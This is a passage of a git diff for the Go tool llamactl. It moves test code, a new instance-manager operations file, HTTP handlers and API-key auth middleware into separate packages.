Model: "/path/to/model2.gguf", Model: "/path/to/model2.gguf",
Port: 8080, // Same port - should conflict Port: 8080, // Same port - should conflict
}, },
@@ -199,14 +201,14 @@ func TestCreateInstance_PortConflictDetection(t *testing.T) {
func TestCreateInstance_MultiplePortAssignment(t *testing.T) { func TestCreateInstance_MultiplePortAssignment(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -232,26 +234,26 @@ func TestCreateInstance_MultiplePortAssignment(t *testing.T) {
func TestCreateInstance_PortExhaustion(t *testing.T) { func TestCreateInstance_PortExhaustion(t *testing.T) {
// Create manager with very small port range // Create manager with very small port range
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 8001}, // Only 2 ports available PortRange: [2]int{8000, 8001}, // Only 2 ports available
MaxInstances: 10, // Higher than available ports MaxInstances: 10, // Higher than available ports
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options3 := &llamactl.CreateInstanceOptions{ options3 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -280,8 +282,8 @@ func TestCreateInstance_PortExhaustion(t *testing.T) {
func TestDeleteInstance_PortRelease(t *testing.T) { func TestDeleteInstance_PortRelease(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
@@ -310,8 +312,8 @@ func TestGetInstance_Success(t *testing.T) {
manager := createTestManager() manager := createTestManager()
// Create an instance first // Create an instance first
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -356,14 +358,14 @@ func TestListInstances(t *testing.T) {
} }
// Create some instances // Create some instances
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -389,8 +391,8 @@ func TestListInstances(t *testing.T) {
// Check names are present // Check names are present
names := make(map[string]bool) names := make(map[string]bool)
for _, instance := range instances { for _, inst := range instances {
names[instance.Name] = true names[inst.Name] = true
} }
if !names["instance1"] || !names["instance2"] { if !names["instance1"] || !names["instance2"] {
t.Error("Expected both instance1 and instance2 in list") t.Error("Expected both instance1 and instance2 in list")
@@ -401,8 +403,8 @@ func TestDeleteInstance_Success(t *testing.T) {
manager := createTestManager() manager := createTestManager()
// Create an instance // Create an instance
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -440,8 +442,8 @@ func TestUpdateInstance_Success(t *testing.T) {
manager := createTestManager() manager := createTestManager()
// Create an instance // Create an instance
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
@@ -452,8 +454,8 @@ func TestUpdateInstance_Success(t *testing.T) {
} }
// Update it // Update it
newOptions := &llamactl.CreateInstanceOptions{ newOptions := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/new-model.gguf", Model: "/path/to/new-model.gguf",
Port: 8081, Port: 8081,
}, },
@@ -475,8 +477,8 @@ func TestUpdateInstance_Success(t *testing.T) {
func TestUpdateInstance_NotFound(t *testing.T) { func TestUpdateInstance_NotFound(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -494,15 +496,15 @@ func TestPersistence_InstancePersistedOnCreation(t *testing.T) {
// Create temporary directory for persistence // Create temporary directory for persistence
tempDir := t.TempDir() tempDir := t.TempDir()
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
@@ -539,16 +541,16 @@ func TestPersistence_InstancePersistedOnCreation(t *testing.T) {
func TestPersistence_InstancePersistedOnUpdate(t *testing.T) { func TestPersistence_InstancePersistedOnUpdate(t *testing.T) {
tempDir := t.TempDir() tempDir := t.TempDir()
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
// Create instance // Create instance
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
@@ -559,8 +561,8 @@ func TestPersistence_InstancePersistedOnUpdate(t *testing.T) {
} }
// Update instance // Update instance
newOptions := &llamactl.CreateInstanceOptions{ newOptions := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/new-model.gguf", Model: "/path/to/new-model.gguf",
Port: 8081, Port: 8081,
}, },
@@ -596,16 +598,16 @@ func TestPersistence_InstancePersistedOnUpdate(t *testing.T) {
func TestPersistence_InstanceFileDeletedOnDeletion(t *testing.T) { func TestPersistence_InstanceFileDeletedOnDeletion(t *testing.T) {
tempDir := t.TempDir() tempDir := t.TempDir()
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
// Create instance // Create instance
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -667,12 +669,12 @@ func TestPersistence_InstancesLoadedFromDisk(t *testing.T) {
} }
// Create manager - should load instances from disk // Create manager - should load instances from disk
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
// Verify instances were loaded // Verify instances were loaded
instances, err := manager.ListInstances() instances, err := manager.ListInstances()
@@ -685,9 +687,9 @@ func TestPersistence_InstancesLoadedFromDisk(t *testing.T) {
} }
// Check instances by name // Check instances by name
instancesByName := make(map[string]*llamactl.Instance) instancesByName := make(map[string]*instance.Process)
for _, instance := range instances { for _, inst := range instances {
instancesByName[instance.Name] = instance instancesByName[inst.Name] = inst
} }
instance1, exists := instancesByName["instance1"] instance1, exists := instancesByName["instance1"]
@@ -734,16 +736,16 @@ func TestPersistence_PortMapPopulatedFromLoadedInstances(t *testing.T) {
} }
// Create manager - should load instance and register port // Create manager - should load instance and register port
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
// Try to create new instance with same port - should fail due to conflict // Try to create new instance with same port - should fail due to conflict
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model2.gguf", Model: "/path/to/model2.gguf",
Port: 8080, // Same port as loaded instance Port: 8080, // Same port as loaded instance
}, },
@@ -761,7 +763,7 @@ func TestPersistence_PortMapPopulatedFromLoadedInstances(t *testing.T) {
func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) { func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) {
tempDir := t.TempDir() tempDir := t.TempDir()
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
InstancesDir: tempDir, InstancesDir: tempDir,
MaxInstances: 10, MaxInstances: 10,
@@ -771,17 +773,17 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) {
} }
// Create first manager and instance with comprehensive options // Create first manager and instance with comprehensive options
manager1 := llamactl.NewInstanceManager(config) manager1 := manager.NewInstanceManager(cfg)
autoRestart := false autoRestart := false
maxRestarts := 10 maxRestarts := 10
restartDelay := 30 restartDelay := 30
originalOptions := &llamactl.CreateInstanceOptions{ originalOptions := &instance.CreateInstanceOptions{
AutoRestart: &autoRestart, AutoRestart: &autoRestart,
MaxRestarts: &maxRestarts, MaxRestarts: &maxRestarts,
RestartDelay: &restartDelay, RestartDelay: &restartDelay,
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
Host: "localhost", Host: "localhost",
@@ -803,7 +805,7 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) {
} }
// Create second manager (simulating restart) - should load the instance // Create second manager (simulating restart) - should load the instance
manager2 := llamactl.NewInstanceManager(config) manager2 := manager.NewInstanceManager(cfg)
loadedInstance, err := manager2.GetInstance("roundtrip-test") loadedInstance, err := manager2.GetInstance("roundtrip-test")
if err != nil { if err != nil {
@@ -876,8 +878,8 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) {
} }
// Helper function to create a test manager with standard config // Helper function to create a test manager with standard config
func createTestManager() llamactl.InstanceManager { func createTestManager() manager.InstanceManager {
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
MaxInstances: 10, MaxInstances: 10,
@@ -886,5 +888,5 @@ func createTestManager() llamactl.InstanceManager {
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
return llamactl.NewInstanceManager(config) return manager.NewInstanceManager(cfg)
} }

241
pkg/manager/operations.go Normal file
View File

@@ -0,0 +1,241 @@
package manager
import (
"fmt"
"llamactl/pkg/instance"
"llamactl/pkg/validation"
"os"
"path/filepath"
)
// ListInstances returns a list of all instances managed by the instance manager.
func (im *instanceManager) ListInstances() ([]*instance.Process, error) {
im.mu.RLock()
defer im.mu.RUnlock()
instances := make([]*instance.Process, 0, len(im.instances))
for _, inst := range im.instances {
instances = append(instances, inst)
}
return instances, nil
}
// CreateInstance creates a new instance with the given options and returns it.
// The instance is initially in a "stopped" state.
func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
if options == nil {
return nil, fmt.Errorf("instance options cannot be nil")
}
if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
}
name, err := validation.ValidateInstanceName(name)
if err != nil {
return nil, err
}
err = validation.ValidateInstanceOptions(options)
if err != nil {
return nil, err
}
im.mu.Lock()
defer im.mu.Unlock()
// Check if instance with this name already exists
if im.instances[name] != nil {
return nil, fmt.Errorf("instance with name %s already exists", name)
}
// Assign a port if not specified
if options.Port == 0 {
port, err := im.getNextAvailablePort()
if err != nil {
return nil, fmt.Errorf("failed to get next available port: %w", err)
}
options.Port = port
} else {
// Validate the specified port
if _, exists := im.ports[options.Port]; exists {
return nil, fmt.Errorf("port %d is already in use", options.Port)
}
im.ports[options.Port] = true
}
inst := instance.NewInstance(name, &im.instancesConfig, options)
im.instances[inst.Name] = inst
im.ports[options.Port] = true
if err := im.persistInstance(inst); err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return inst, nil
}
// GetInstance retrieves an instance by its name.
func (im *instanceManager) GetInstance(name string) (*instance.Process, error) {
im.mu.RLock()
defer im.mu.RUnlock()
instance, exists := im.instances[name]
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
return instance, nil
}
// UpdateInstance updates the options of an existing instance and returns it.
// If the instance is running, it will be restarted to apply the new options.
func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if options == nil {
return nil, fmt.Errorf("instance options cannot be nil")
}
err := validation.ValidateInstanceOptions(options)
if err != nil {
return nil, err
}
// Check if instance is running before updating options
wasRunning := instance.Running
// If the instance is running, stop it first
if wasRunning {
if err := instance.Stop(); err != nil {
return nil, fmt.Errorf("failed to stop instance %s for update: %w", name, err)
}
}
// Now update the options while the instance is stopped
instance.SetOptions(options)
// If it was running before, start it again with the new options
if wasRunning {
if err := instance.Start(); err != nil {
return nil, fmt.Errorf("failed to start instance %s after update: %w", name, err)
}
}
im.mu.Lock()
defer im.mu.Unlock()
if err := im.persistInstance(instance); err != nil {
return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err)
}
return instance, nil
}
// DeleteInstance removes stopped instance by its name.
func (im *instanceManager) DeleteInstance(name string) error {
im.mu.Lock()
defer im.mu.Unlock()
instance, exists := im.instances[name]
if !exists {
return fmt.Errorf("instance with name %s not found", name)
}
if instance.Running {
return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
}
delete(im.ports, instance.GetOptions().Port)
delete(im.instances, name)
// Delete the instance's config file if persistence is enabled
instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err)
}
return nil
}
// StartInstance starts a stopped instance and returns it.
// If the instance is already running, it returns an error.
func (im *instanceManager) StartInstance(name string) (*instance.Process, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if instance.Running {
return instance, fmt.Errorf("instance with name %s is already running", name)
}
if err := instance.Start(); err != nil {
return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
}
im.mu.Lock()
defer im.mu.Unlock()
err := im.persistInstance(instance)
if err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return instance, nil
}
// StopInstance stops a running instance and returns it.
func (im *instanceManager) StopInstance(name string) (*instance.Process, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if !instance.Running {
return instance, fmt.Errorf("instance with name %s is already stopped", name)
}
if err := instance.Stop(); err != nil {
return nil, fmt.Errorf("failed to stop instance %s: %w", name, err)
}
im.mu.Lock()
defer im.mu.Unlock()
err := im.persistInstance(instance)
if err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return instance, nil
}
// RestartInstance stops and then starts an instance, returning the updated instance.
func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) {
instance, err := im.StopInstance(name)
if err != nil {
return nil, err
}
return im.StartInstance(instance.Name)
}
// GetInstanceLogs retrieves the logs for a specific instance by its name.
func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
im.mu.RLock()
_, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return "", fmt.Errorf("instance with name %s not found", name)
}
// TODO: Implement actual log retrieval logic
return fmt.Sprintf("Logs for instance %s", name), nil
}

View File

@@ -1,10 +1,13 @@
package llamactl package server
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"fmt" "fmt"
"io" "io"
"llamactl/pkg/config"
"llamactl/pkg/instance"
"llamactl/pkg/manager"
"net/http" "net/http"
"os/exec" "os/exec"
"strconv" "strconv"
@@ -14,14 +17,14 @@ import (
) )
type Handler struct { type Handler struct {
InstanceManager InstanceManager InstanceManager manager.InstanceManager
config Config cfg config.AppConfig
} }
func NewHandler(im InstanceManager, config Config) *Handler { func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler {
return &Handler{ return &Handler{
InstanceManager: im, InstanceManager: im,
config: config, cfg: cfg,
} }
} }
@@ -137,13 +140,13 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
return return
} }
var options CreateInstanceOptions var options instance.CreateInstanceOptions
if err := json.NewDecoder(r.Body).Decode(&options); err != nil { if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
http.Error(w, "Invalid request body", http.StatusBadRequest) http.Error(w, "Invalid request body", http.StatusBadRequest)
return return
} }
instance, err := h.InstanceManager.CreateInstance(name, &options) inst, err := h.InstanceManager.CreateInstance(name, &options)
if err != nil { if err != nil {
http.Error(w, "Failed to create instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to create instance: "+err.Error(), http.StatusInternalServerError)
return return
@@ -151,7 +154,7 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusCreated) w.WriteHeader(http.StatusCreated)
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -177,14 +180,14 @@ func (h *Handler) GetInstance() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.GetInstance(name) inst, err := h.InstanceManager.GetInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -212,20 +215,20 @@ func (h *Handler) UpdateInstance() http.HandlerFunc {
return return
} }
var options CreateInstanceOptions var options instance.CreateInstanceOptions
if err := json.NewDecoder(r.Body).Decode(&options); err != nil { if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
http.Error(w, "Invalid request body", http.StatusBadRequest) http.Error(w, "Invalid request body", http.StatusBadRequest)
return return
} }
instance, err := h.InstanceManager.UpdateInstance(name, &options) inst, err := h.InstanceManager.UpdateInstance(name, &options)
if err != nil { if err != nil {
http.Error(w, "Failed to update instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to update instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -251,14 +254,14 @@ func (h *Handler) StartInstance() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.StartInstance(name) inst, err := h.InstanceManager.StartInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -284,14 +287,14 @@ func (h *Handler) StopInstance() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.StopInstance(name) inst, err := h.InstanceManager.StopInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to stop instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to stop instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -317,14 +320,14 @@ func (h *Handler) RestartInstance() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.RestartInstance(name) inst, err := h.InstanceManager.RestartInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to restart instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to restart instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(instance); err != nil { if err := json.NewEncoder(w).Encode(inst); err != nil {
http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
@@ -389,13 +392,13 @@ func (h *Handler) GetInstanceLogs() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.GetInstance(name) inst, err := h.InstanceManager.GetInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
logs, err := instance.GetLogs(num_lines) logs, err := inst.GetLogs(num_lines)
if err != nil { if err != nil {
http.Error(w, "Failed to get logs: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get logs: "+err.Error(), http.StatusInternalServerError)
return return
@@ -426,19 +429,19 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc {
return return
} }
instance, err := h.InstanceManager.GetInstance(name) inst, err := h.InstanceManager.GetInstance(name)
if err != nil { if err != nil {
http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
if !instance.Running { if !inst.Running {
http.Error(w, "Instance is not running", http.StatusServiceUnavailable) http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
return return
} }
// Get the cached proxy for this instance // Get the cached proxy for this instance
proxy, err := instance.GetProxy() proxy, err := inst.GetProxy()
if err != nil { if err != nil {
http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
return return
@@ -489,11 +492,11 @@ func (h *Handler) OpenAIListInstances() http.HandlerFunc {
} }
openaiInstances := make([]OpenAIInstance, len(instances)) openaiInstances := make([]OpenAIInstance, len(instances))
for i, instance := range instances { for i, inst := range instances {
openaiInstances[i] = OpenAIInstance{ openaiInstances[i] = OpenAIInstance{
ID: instance.Name, ID: inst.Name,
Object: "model", Object: "model",
Created: instance.Created, Created: inst.Created,
OwnedBy: "llamactl", OwnedBy: "llamactl",
} }
} }
@@ -545,19 +548,19 @@ func (h *Handler) OpenAIProxy() http.HandlerFunc {
return return
} }
// Route to the appropriate instance based on model name // Route to the appropriate inst based on model name
instance, err := h.InstanceManager.GetInstance(modelName) inst, err := h.InstanceManager.GetInstance(modelName)
if err != nil { if err != nil {
http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
return return
} }
if !instance.Running { if !inst.Running {
http.Error(w, "Instance is not running", http.StatusServiceUnavailable) http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
return return
} }
proxy, err := instance.GetProxy() proxy, err := inst.GetProxy()
if err != nil { if err != nil {
http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError) http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
return return

View File

@@ -1,10 +1,11 @@
package llamactl package server
import ( import (
"crypto/rand" "crypto/rand"
"crypto/subtle" "crypto/subtle"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"llamactl/pkg/config"
"log" "log"
"net/http" "net/http"
"os" "os"
@@ -26,7 +27,7 @@ type APIAuthMiddleware struct {
} }
// NewAPIAuthMiddleware creates a new APIAuthMiddleware with the given configuration // NewAPIAuthMiddleware creates a new APIAuthMiddleware with the given configuration
func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware { func NewAPIAuthMiddleware(authCfg config.AuthConfig) *APIAuthMiddleware {
var generated bool = false var generated bool = false
@@ -35,25 +36,25 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware {
const banner = "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" const banner = "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
if config.RequireManagementAuth && len(config.ManagementKeys) == 0 { if authCfg.RequireManagementAuth && len(authCfg.ManagementKeys) == 0 {
key := generateAPIKey(KeyTypeManagement) key := generateAPIKey(KeyTypeManagement)
managementAPIKeys[key] = true managementAPIKeys[key] = true
generated = true generated = true
fmt.Printf("%s\n⚠ MANAGEMENT AUTHENTICATION REQUIRED\n%s\n", banner, banner) fmt.Printf("%s\n⚠ MANAGEMENT AUTHENTICATION REQUIRED\n%s\n", banner, banner)
fmt.Printf("🔑 Generated Management API Key:\n\n %s\n\n", key) fmt.Printf("🔑 Generated Management API Key:\n\n %s\n\n", key)
} }
for _, key := range config.ManagementKeys { for _, key := range authCfg.ManagementKeys {
managementAPIKeys[key] = true managementAPIKeys[key] = true
} }
if config.RequireInferenceAuth && len(config.InferenceKeys) == 0 { if authCfg.RequireInferenceAuth && len(authCfg.InferenceKeys) == 0 {
key := generateAPIKey(KeyTypeInference) key := generateAPIKey(KeyTypeInference)
inferenceAPIKeys[key] = true inferenceAPIKeys[key] = true
generated = true generated = true
fmt.Printf("%s\n⚠ INFERENCE AUTHENTICATION REQUIRED\n%s\n", banner, banner) fmt.Printf("%s\n⚠ INFERENCE AUTHENTICATION REQUIRED\n%s\n", banner, banner)
fmt.Printf("🔑 Generated Inference API Key:\n\n %s\n\n", key) fmt.Printf("🔑 Generated Inference API Key:\n\n %s\n\n", key)
} }
for _, key := range config.InferenceKeys { for _, key := range authCfg.InferenceKeys {
inferenceAPIKeys[key] = true inferenceAPIKeys[key] = true
} }
@@ -66,9 +67,9 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware {
} }
return &APIAuthMiddleware{ return &APIAuthMiddleware{
